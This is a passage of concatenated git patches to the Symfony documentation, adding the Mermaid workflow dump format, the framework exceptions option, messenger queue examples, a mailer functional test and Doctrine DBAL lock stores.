+    </p>
 
 Learn more
 ----------
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d1749603155..98e5911561f 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -9,8 +9,13 @@ them as SVG or PNG images. First, install any of these free and open source
 applications needed to generate the images:
 
 * `Graphviz`_, provides the ``dot`` command;
+* `Mermaid CLI`_, provides the ``mmdc`` command;
 * `PlantUML`_, provides the ``plantuml.jar`` file (which requires Java).
 
+.. versionadded:: 5.3
+
+    The ``mermaid`` dump format was introduced in Symfony 5.3.
+
 If you are defining the workflow inside a Symfony application, run this command
 to dump it as an image:
 
@@ -28,10 +33,17 @@ to dump it as an image:
     # highlight 'place1' and 'place2' in the dumped workflow
     $ php bin/console workflow:dump workflow-name place1 place2 | dot -Tsvg -o graph.svg
 
+    # using Mermaid.js CLI
+    $ php bin/console workflow:dump workflow_name --dump-format=mermaid | mmdc -o graph.svg
+
 The DOT image will look like this:
 
 .. image:: /_images/components/workflow/blogpost.png
 
+The Mermaid image will look like this:
+
+.. image:: /_images/components/workflow/blogpost_mermaid.png
+
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/blogpost_puml.png
@@ -63,7 +75,7 @@ You can use ``metadata`` with the following keys to style the workflow:
 
   * ``bg_color``: a color;
   * ``description``: a string that describes the state.
-  
+
 * for transitions:
 
   * ``label``: a string that replaces the name of the transition;
@@ -76,6 +88,11 @@ Colors can be defined as:
 * a color name from `PlantUML's color list`_;
 * an hexadecimal color (both ``#AABBCC`` and ``#ABC`` formats are supported).
 
+.. note::
+
+    The Mermaid dumper does not support coloring the arrow heads
+    with ``arrow_color`` as there is no support in Mermaid for doing so.
+
 Below is the configuration for the pull request state machine with styling added.
 
 .. configuration-block::
@@ -169,7 +186,6 @@ Below is the configuration for the pull request state machine with styling added
                             <framework:bg_color>DeepSkyBlue</framework:bg_color>
                         </framework:metadata>
                     </framework:place>
-                    </framework:place>
 
                     <framework:transition name="submit">
                         <framework:from>start</framework:from>
@@ -235,80 +251,76 @@ Below is the configuration for the pull request state machine with styling added
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'workflows' => [
-                'pull_request' => [
-                    'type' => 'state_machine',
-                    'marking_store' => [
-                        type: 'method',
-                        property: 'currentPlace',
-                    ],
-                    'supports' => ['App\Entity\PullRequest'],
-                    'initial_marking' => 'start',
-                    'places' => [
-                        'start',
-                        'coding',
-                        'test',
-                        'review' => [
-                          'metadata' => [
-                              'description' => 'Human review',
-                          ],
-                        ],
-                        'merged',
-                        'closed' => [
-                          'metadata' => [
-                              'bg_color' => 'DeepSkyBlue',
-                          ],
-                        ],
-                    ],
-                    'transitions' => [
-                        'submit'=> [
-                            'from' => 'start',
-                            'to' => 'test',
-                        ],
-                        'update'=> [
-                            'from' => ['coding', 'test', 'review'],
-                            'to' => 'test',
-                            'metadata' => [
-                                'arrow_color' => 'Turquoise',
-                            ],
-                        ],
-                        'wait_for_review'=> [
-                            'from' => 'test',
-                            'to' => 'review',
-                            'metadata' => [
-                                'color' => 'Orange',
-                            ],
-                        ],
-                        'request_change'=> [
-                            'from' => 'review',
-                            'to' => 'coding',
-                        ],
-                        'accept'=> [
-                            'from' => 'review',
-                            'to' => 'merged',
-                            'metadata' => [
-                                'label' => 'Accept PR',
-                            ],
-                        ],
-                        'reject'=> [
-                            'from' => 'review',
-                            'to' => 'closed',
-                        ],
-                        'reopen'=> [
-                            'from' => 'start',
-                            'to' => 'review',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+            $pullRequest = $framework->workflows()->workflows('pull_request');
+
+            $pullRequest
+                ->type('state_machine')
+                ->supports(['App\Entity\PullRequest'])
+                ->initialMarking(['start']);
+
+            $pullRequest->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $pullRequest->place()->name('start');
+            $pullRequest->place()->name('coding');
+            $pullRequest->place()->name('test');
+            $pullRequest->place()
+                ->name('review')
+                ->metadata(['description' => 'Human review']);
+            $pullRequest->place()->name('merged');
+            $pullRequest->place()
+                ->name('closed')
+                ->metadata(['bg_color' => 'DeepSkyBlue',]);
+
+            $pullRequest->transition()
+                ->name('submit')
+                    ->from(['start'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('update')
+                    ->from(['coding', 'test', 'review'])
+                    ->to(['test'])
+                    ->metadata(['arrow_color' => 'Turquoise']);
+
+            $pullRequest->transition()
+                ->name('wait_for_review')
+                    ->from(['test'])
+                    ->to(['review'])
+                    ->metadata(['color' => 'Orange']);
+
+            $pullRequest->transition()
+                ->name('request_change')
+                    ->from(['review'])
+                    ->to(['coding']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['review'])
+                    ->to(['merged'])
+                    ->metadata(['label' => 'Accept PR']);
+
+            $pullRequest->transition()
+                ->name('reject')
+                    ->from(['review'])
+                    ->to(['closed']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['closed'])
+                    ->to(['review']);
+        };
 
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/pull_request_puml_styled.png
 
 .. _`Graphviz`: https://www.graphviz.org
+.. _`Mermaid CLI`: https://github.com/mermaid-js/mermaid-cli
 .. _`PlantUML`: https://plantuml.com/
 .. _`PlantUML's color list`: https://plantuml.com/color
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 730cf66bccc..6ef73aa60cf 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -192,58 +192,62 @@ Below is the configuration for the pull request state machine.
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'workflows' => [
-                'pull_request' => [
-                    'type' => 'state_machine',
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => ['App\Entity\PullRequest'],
-                    'initial_marking' => 'start',
-                    'places' => [
-                        'start',
-                        'coding',
-                        'test',
-                        'review',
-                        'merged',
-                        'closed',
-                    ],
-                    'transitions' => [
-                        'submit'=> [
-                            'from' => 'start',
-                            'to' => 'test',
-                        ],
-                        'update'=> [
-                            'from' => ['coding', 'test', 'review'],
-                            'to' => 'test',
-                        ],
-                        'wait_for_review'=> [
-                            'from' => 'test',
-                            'to' => 'review',
-                        ],
-                        'request_change'=> [
-                            'from' => 'review',
-                            'to' => 'coding',
-                        ],
-                        'accept'=> [
-                            'from' => 'review',
-                            'to' => 'merged',
-                        ],
-                        'reject'=> [
-                            'from' => 'review',
-                            'to' => 'closed',
-                        ],
-                        'reopen'=> [
-                            'from' => 'start',
-                            'to' => 'review',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $pullRequest = $framework->workflows()->workflows('pull_request');
+
+            $pullRequest
+                ->type('state_machine')
+                ->supports(['App\Entity\PullRequest'])
+                ->initialMarking(['start']);
+
+            $pullRequest->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $pullRequest->place()->name('start');
+            $pullRequest->place()->name('coding');
+            $pullRequest->place()->name('test');
+            $pullRequest->place()->name('review');
+            $pullRequest->place()->name('merged');
+            $pullRequest->place()->name('closed');
+
+            $pullRequest->transition()
+                ->name('submit')
+                    ->from(['start'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('update')
+                    ->from(['coding', 'test', 'review'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('wait_for_review')
+                    ->from(['test'])
+                    ->to(['review']);
+
+            $pullRequest->transition()
+                ->name('request_change')
+                    ->from(['review'])
+                    ->to(['coding']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['review'])
+                    ->to(['merged']);
+
+            $pullRequest->transition()
+                ->name('reject')
+                    ->from(['review'])
+                    ->to(['closed']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['closed'])
+                    ->to(['review']);
+        };
 
 In a Symfony application using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,

From ed7debadffe1af408f4c35b4a83b3df09baa5595 Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Mon, 11 Oct 2021 21:21:02 +0200
Subject: [PATCH 1438/5766] [HttpKernel] 15874 framework exceptions

---
 reference/configuration/framework.rst | 74 +++++++++++++++++++++++++++
 1 file changed, 74 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ddaed96d025..9fd42aeb177 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3316,6 +3316,80 @@ Defines the kind of workflow that is going to be created, which can be either
 a normal workflow or a state machine. Read :doc:`this article </workflow/workflow-and-state-machine>`
 to know their differences.
 
+exceptions
+""""""""""
+
+**type**: ``array``
+
+Defines what ``log_level`` and ``status_code`` should be returned by exception class:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/exceptions.yaml
+        framework:
+            exceptions:
+                Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
+                    log_level: debug
+                    status_code: 422
+
+    .. code-block:: xml
+
+        <!-- config/packages/exceptions.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:exceptions>
+                    <exception id="Symfony\Component\HttpKernel\Exception\BadRequestHttpException">
+                        <framework:log_level>debug</framework:log_level>
+                        <framework:status_code>422</framework:status_code>
+                    </exception>
+                </framework:exceptions>
+                <!-- ... -->
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/exceptions.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                ->exceptions('Symfony\Component\HttpKernel\Exception\BadRequestHttpException')
+                ->log_level('debug');
+
+            $framework
+                ->exceptions('Symfony\Component\HttpKernel\Exception\BadRequestHttpException')
+                ->status_code(422);
+            ;
+        };
+
+.. note::
+
+    When defining exceptions the order is important as it will use the first exception that matches ``instanceof``
+
+Example with ``\RuntimeException`` and ``\Exception``:
+
+.. code-block:: yaml
+
+        # config/packages/exceptions.yaml
+        framework:
+            exceptions:
+                Exception:
+                    log_level: debug
+                    status_code: 404
+                RuntimeException: # This will never be used as \RuntimeException extends \Exception
+                    log_level: debug
+                    status_code: 422
+
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html

From 3fabd6f9d880581914c32a29b489ec2e8d5388fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 11:27:34 +0100
Subject: [PATCH 1439/5766] Minor tweaks

---
 reference/configuration/framework.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2fe23b6f8be..a5b250de8f9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3363,7 +3363,8 @@ exceptions
 
 **type**: ``array``
 
-Defines what ``log_level`` and ``status_code`` should be returned by exception class:
+Defines the :ref:`log level </logging>` and HTTP status code applied to the
+exceptions that match the given exception class:
 
 .. configuration-block::
 
@@ -3373,7 +3374,7 @@ Defines what ``log_level`` and ``status_code`` should be returned by exception c
         framework:
             exceptions:
                 Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
-                    log_level: debug
+                    log_level: 'debug'
                     status_code: 422
 
     .. code-block:: xml
@@ -3401,24 +3402,22 @@ Defines what ``log_level`` and ``status_code`` should be returned by exception c
     .. code-block:: php
 
         // config/packages/exceptions.php
+        use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {
             $framework
-                ->exceptions('Symfony\Component\HttpKernel\Exception\BadRequestHttpException')
+                ->exceptions(BadRequestHttpException::class)
                 ->log_level('debug');
 
             $framework
-                ->exceptions('Symfony\Component\HttpKernel\Exception\BadRequestHttpException')
+                ->exceptions(BadRequestHttpException::class)
                 ->status_code(422);
             ;
         };
 
-.. note::
-
-    When defining exceptions the order is important as it will use the first exception that matches ``instanceof``
-
-Example with ``\RuntimeException`` and ``\Exception``:
+The order in which you configure exceptions is important because Symfony will
+use the configuration of the first exception that matches ``instanceof``:
 
 .. code-block:: yaml
 
@@ -3426,10 +3425,11 @@ Example with ``\RuntimeException`` and ``\Exception``:
         framework:
             exceptions:
                 Exception:
-                    log_level: debug
+                    log_level: 'debug'
                     status_code: 404
-                RuntimeException: # This will never be used as \RuntimeException extends \Exception
-                    log_level: debug
+                # The following configuration will never be used because \RuntimeException extends \Exception
+                RuntimeException:
+                    log_level: 'debug'
                     status_code: 422
 
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html

From 752f702c8fb64ba366388d245c79dc964c9a27dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 11:28:05 +0100
Subject: [PATCH 1440/5766] Add the versionadded directive

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a5b250de8f9..6f09d0cb7b6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3363,6 +3363,10 @@ exceptions
 
 **type**: ``array``
 
+.. versionadded:: 5.4
+
+    The ``exceptions`` option was introduced in Symfony 5.4.
+
 Defines the :ref:`log level </logging>` and HTTP status code applied to the
 exceptions that match the given exception class:
 

From a540576e774d6f1a070718923a0fef2cb87d54b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 11:28:38 +0100
Subject: [PATCH 1441/5766] Remove the versionadded directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 49b1929201b..f429b55a027 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3225,10 +3225,6 @@ exceptions
 
 **type**: ``array``
 
-.. versionadded:: 5.4
-
-    The ``exceptions`` option was introduced in Symfony 5.4.
-
 Defines the :ref:`log level </logging>` and HTTP status code applied to the
 exceptions that match the given exception class:
 

From f4122eeb3770f31f750bb3444eb093785d1db2d2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 7 Dec 2021 17:57:56 +0100
Subject: [PATCH 1442/5766] Adding redirect to current route

Taken from https://github.com/symfony/symfony/issues/44485#issuecomment-987559633

Plus fixing syntax error I missed in https://github.com/symfony/symfony-docs/pull/16206
---
 controller.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index faa9d08e41a..1b2642c4063 100644
--- a/controller.rst
+++ b/controller.rst
@@ -132,7 +132,7 @@ If you want to redirect the user to another page, use the ``redirectToRoute()``
 and ``redirect()`` methods::
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
-    use Symfony\Component\HttpFoundation\Response
+    use Symfony\Component\HttpFoundation\Response;
 
     // ...
     public function index(): RedirectResponse
@@ -153,6 +153,9 @@ and ``redirect()`` methods::
 
         // redirects to a route and maintains the original query string parameters
         return $this->redirectToRoute('blog_show', $request->query->all());
+        
+        // redirects to the current route (e.g. for Post/Redirect/Get pattern):
+        return $this->redirectToRoute($request->attributes->get('_route'));
 
         // redirects externally
         return $this->redirect('http://symfony.com/doc');

From 86a9d92bb6737aa31ab76fee6e7f1a93440f9083 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 7 Dec 2021 18:28:34 +0100
Subject: [PATCH 1443/5766] Fix anchor location

---
 components/phpunit_bridge.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 999ddd46865..69fe99db6eb 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -308,8 +308,6 @@ to completely disable the deprecation helper. This is useful to make use of the
 rest of features provided by this component without getting errors or messages
 related to deprecations.
 
-.. _write-assertions-about-deprecations:
-
 Deprecation Notices at Autoloading Time
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -336,6 +334,8 @@ time. This can be disabled with the ``debug-class-loader`` option.
 
     The ``DebugClassLoader`` integration was introduced in Symfony 4.2.
 
+.. _write-assertions-about-deprecations:
+
 Write Assertions about Deprecations
 -----------------------------------
 
@@ -818,7 +818,7 @@ You can either:
 
     // config/bootstrap.php
     use Symfony\Bridge\PhpUnit\ClockMock;
-    
+
     // ...
     if ('test' === $_SERVER['APP_ENV']) {
         ClockMock::register('Acme\\MyClassTest\\');

From f2b39ea17dad815cf8f8f99e105368ccb32da03c Mon Sep 17 00:00:00 2001
From: DKravtsov <dmitriy.kravtsov@systemsdk.com>
Date: Wed, 8 Dec 2021 00:38:18 +0200
Subject: [PATCH 1444/5766] added example for limit consuming to specific queue
 / queues

---
 messenger.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index ee922bf4019..30a4e4423bf 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -604,12 +604,18 @@ transport is always bound to an exchange. By default, the worker consumes from a
 queues attached to the exchange of the specified transport. However, there are use
 cases to want a worker to only consume from specific queues.
 
-You can limit the worker to only process messages from specific queues:
+You can limit the worker to only process messages from specific queue:
 
 .. code-block:: terminal
 
     $ php bin/console messenger:consume my_transport --queues=fasttrack
 
+Or you can limit the worker to only process messages from specific queues:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume my_transport --queues=fasttrack1 --queues=fasttrack2
+
 To allow using the ``queues`` option, the receiver must implement the
 :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
 

From e16818e446ee53865d21b16f7a4fd8043fae7c0d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Dec 2021 10:09:55 +0100
Subject: [PATCH 1445/5766] Minor tweak

---
 messenger.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 30a4e4423bf..fa58b415dcc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -604,16 +604,13 @@ transport is always bound to an exchange. By default, the worker consumes from a
 queues attached to the exchange of the specified transport. However, there are use
 cases to want a worker to only consume from specific queues.
 
-You can limit the worker to only process messages from specific queue:
+You can limit the worker to only process messages from specific queue(s):
 
 .. code-block:: terminal
 
     $ php bin/console messenger:consume my_transport --queues=fasttrack
 
-Or you can limit the worker to only process messages from specific queues:
-
-.. code-block:: terminal
-
+    # you can pass the --queues option more than once to process multiple queues
     $ php bin/console messenger:consume my_transport --queues=fasttrack1 --queues=fasttrack2
 
 To allow using the ``queues`` option, the receiver must implement the

From da0b358983c2d30e39cf047711ce819023c07c8e Mon Sep 17 00:00:00 2001
From: Florian Moser <famoser@users.noreply.github.com>
Date: Sun, 5 Dec 2021 10:23:23 +0100
Subject: [PATCH 1446/5766] Add functional test chapter to mailer

---
 mailer.rst | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 789b56d6b99..09d22b5b777 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1121,6 +1121,37 @@ a specific address, instead of the *real* address:
             ],
         ]);
 
+Write a Functional Test
+~~~~~~~~~~~~~~~~~~~~~~~
+
+To functionally test that an email was sent, and even assert the email content or headers,
+you can use the built in assertions::
+
+    // tests/Controller/MailControllerTest.php
+    namespace App\Tests\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Test\MailerAssertionsTrait;
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+
+    class MailControllerTest extends WebTestCase
+    {
+        use MailerAssertionsTrait;
+
+        public function testMailIsSentAndContentIsOk()
+        {
+            $client = $this->createClient();
+            $client->request('GET', '/mail/send');
+            $this->assertResponseIsSuccessful();
+
+            $this->assertEmailCount(1);
+
+            $email = $this->getMailerMessage();
+
+            $this->assertEmailHtmlBodyContains($email, 'Welcome');
+            $this->assertEmailTextBodyContains($email, 'Welcome');
+        }
+    }
+
 .. _`high availability`: https://en.wikipedia.org/wiki/High_availability
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
 .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css

From 9fb686db51a2eccb93597950ef3306f3d0022414 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 11:09:02 +0100
Subject: [PATCH 1447/5766] [PHPUnitBridge] [PHPUnit Bridge] Remove the table
 that lists PHPUnit versions

---
 components/phpunit_bridge.rst | 14 +-------------
 1 file changed, 1 insertion(+), 13 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 999ddd46865..28ac4a0720e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -844,18 +844,6 @@ configured by the ``SYMFONY_PHPUNIT_DIR`` env var, or in the same directory as
 the ``simple-phpunit`` if it is not provided. It's also possible to set this
 env var in the ``phpunit.xml.dist`` file.
 
-By default, these are the PHPUnit versions used depending on the installed PHP versions:
-
-=====================  ===============================
-Installed PHP version  PHPUnit version used by default
-=====================  ===============================
-PHP <= 5.5             PHPUnit 4.8
-PHP 5.6                PHPUnit 5.7
-PHP 7.0                PHPUnit 6.5
-PHP 7.1                PHPUnit 7.5
-PHP >= 7.2             PHPUnit 8.3
-=====================  ===============================
-
 If you have installed the bridge through Composer, you can run it by calling e.g.:
 
 .. code-block:: terminal
@@ -864,7 +852,7 @@ If you have installed the bridge through Composer, you can run it by calling e.g
 
 .. tip::
 
-    It's possible to change the base version of PHPUnit by setting the
+    It's possible to change the PHPUnit version by setting the
     ``SYMFONY_PHPUNIT_VERSION`` env var in the ``phpunit.xml.dist`` file (e.g.
     ``<server name="SYMFONY_PHPUNIT_VERSION" value="5.5"/>``). This is the
     preferred method as it can be committed to your version control repository.

From 62ba2e4bdbe925a5f847c418a356644b6ef1d205 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Fri, 10 Dec 2021 10:38:17 +0100
Subject: [PATCH 1448/5766] [Lock] Add new Doctrine DBAL stores

---
 components/lock.rst | 108 +++++++++++++++++++++++++++++++++++---------
 1 file changed, 87 insertions(+), 21 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index a765fa4edc7..d3b92c83885 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -350,18 +350,20 @@ Locks are created and managed in ``Stores``, which are classes that implement
 
 The component includes the following built-in store types:
 
-============================================  ======  ========  ======== =======
-Store                                         Scope   Blocking  Expiring Sharing
-============================================  ======  ========  ======== =======
-:ref:`FlockStore <lock-store-flock>`          local   yes       no       yes
-:ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes      no
-:ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes      no
-:ref:`PdoStore <lock-store-pdo>`              remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       no       yes
-:ref:`RedisStore <lock-store-redis>`          remote  no        yes      yes
-:ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no       no
-:ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no       no
-============================================  ======  ========  ======== =======
+=========================================================  ======  ========  ======== =======
+Store                                                      Scope   Blocking  Expiring Sharing
+=========================================================  ======  ========  ======== =======
+:ref:`FlockStore <lock-store-flock>`                       local   yes       no       yes
+:ref:`MemcachedStore <lock-store-memcached>`               remote  no        yes      no
+:ref:`MongoDbStore <lock-store-mongodb>`                   remote  no        yes      no
+:ref:`PdoStore <lock-store-pdo>`                           remote  no        yes      no
+:ref:`DoctrineDbalStore <lock-store-dbal>`                 remote  no        yes      no
+:ref:`PostgreSqlStore <lock-store-pgsql>`                  remote  yes       no       yes
+:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>` remote  yes       no       yes
+:ref:`RedisStore <lock-store-redis>`                       remote  no        yes      yes
+:ref:`SemaphoreStore <lock-store-semaphore>`               local   yes       no       no
+:ref:`ZookeeperStore <lock-store-zookeeper>`               remote  no        no       no
+=========================================================  ======  ========  ======== =======
 
 .. _lock-store-flock:
 
@@ -471,13 +473,13 @@ MongoDB Connection String:
 PdoStore
 ~~~~~~~~
 
-The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection, a
-`Doctrine DBAL Connection`_, or a `Data Source Name (DSN)`_. This store does not
+The PdoStore saves locks in an SQL database. It is identical to DoctrineDbalStore but requires
+a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does not
 support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 
-    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+    // a PDO or DSN for lazy connecting through PDO
     $databaseConnectionOrDSN = 'mysql:host=127.0.0.1;dbname=app';
     $store = new PdoStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
@@ -491,21 +493,56 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\PdoStore::createTable` method in
 your code.
 
+.. deprecated:: 5.4
+
+    Using ``PdoStore`` with Doctrine DBAL is deprecated in Symfony 5.4. Use ``DoctrineDbalStore`` instead.
+
+.. _lock-store-dbal:
+
+DoctrineDbalStore
+~~~~~~~~~~~~~~~~~
+
+The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStore but requires a
+`Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store does not
+support blocking, and expects a TTL to avoid stalled locks::
+
+    use Symfony\Component\Lock\Store\PdoStore;
+
+    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+    $connectionOrURL = 'mysql://myuser:mypassword@127.0.0.1/app';
+    $store = new PdoStore($connectionOrURL);
+
+.. note::
+
+    This store does not support TTL lower than 1 second.
+
+The table where values are stored is created automatically on the first call to
+the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method.
+You can also add this table to your schema by calling
+:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::configureSchema` method
+in your code or create this table explicitly by calling the
+:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.
+
+.. versionadded:: 5.4
+
+    The ``DoctrineDbalStore`` was introduced in Symfony 5.4 to replace ``PdoStore`` when
+    used with Doctrine DBAL.
+
 .. _lock-store-pgsql:
 
 PostgreSqlStore
 ~~~~~~~~~~~~~~~
 
-The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
-`PDO`_ connection, a `Doctrine DBAL Connection`_, or a
-`Data Source Name (DSN)`_. It supports native blocking, as well as sharing
+The PostgreSqlStore and DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL.
+It is identical to DoctrineDbalPostgreSqlStore but requires `PDO`_ connection or
+a `Data Source Name (DSN)`_. It supports native blocking, as well as sharing
 locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
-    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
-    $databaseConnectionOrDSN = 'postgresql://myuser:mypassword@localhost:5634/lock';
-    $store = new PostgreSqlStore($databaseConnectionOrDSN);
+    // a PDO instance or DSN for lazy connecting through PDO
+    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=lock';
+    $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
 store locks and does not expire.
@@ -514,6 +551,34 @@ store locks and does not expire.
 
     The ``PostgreSqlStore`` was introduced in Symfony 5.2.
 
+.. deprecated:: 5.4
+
+    Using ``PostgreSqlStore`` with Doctrine DBAL is deprecated in Symfony 5.4. Use ``DoctrineDbalPostgreSqlStore`` instead.
+
+.. _lock-store-dbal-pgsql:
+
+DoctrineDbalPostgreSqlStore
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It is identical to PostgreSqlStore
+but requires a `Doctrine DBAL Connection`_ or a `Doctrine DBAL URL`_.
+It supports native blocking, as well as sharing
+locks::
+
+    use Symfony\Component\Lock\Store\PostgreSqlStore;
+
+    // a PDO instance or DSN for lazy connecting through PDO
+    $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=lock';
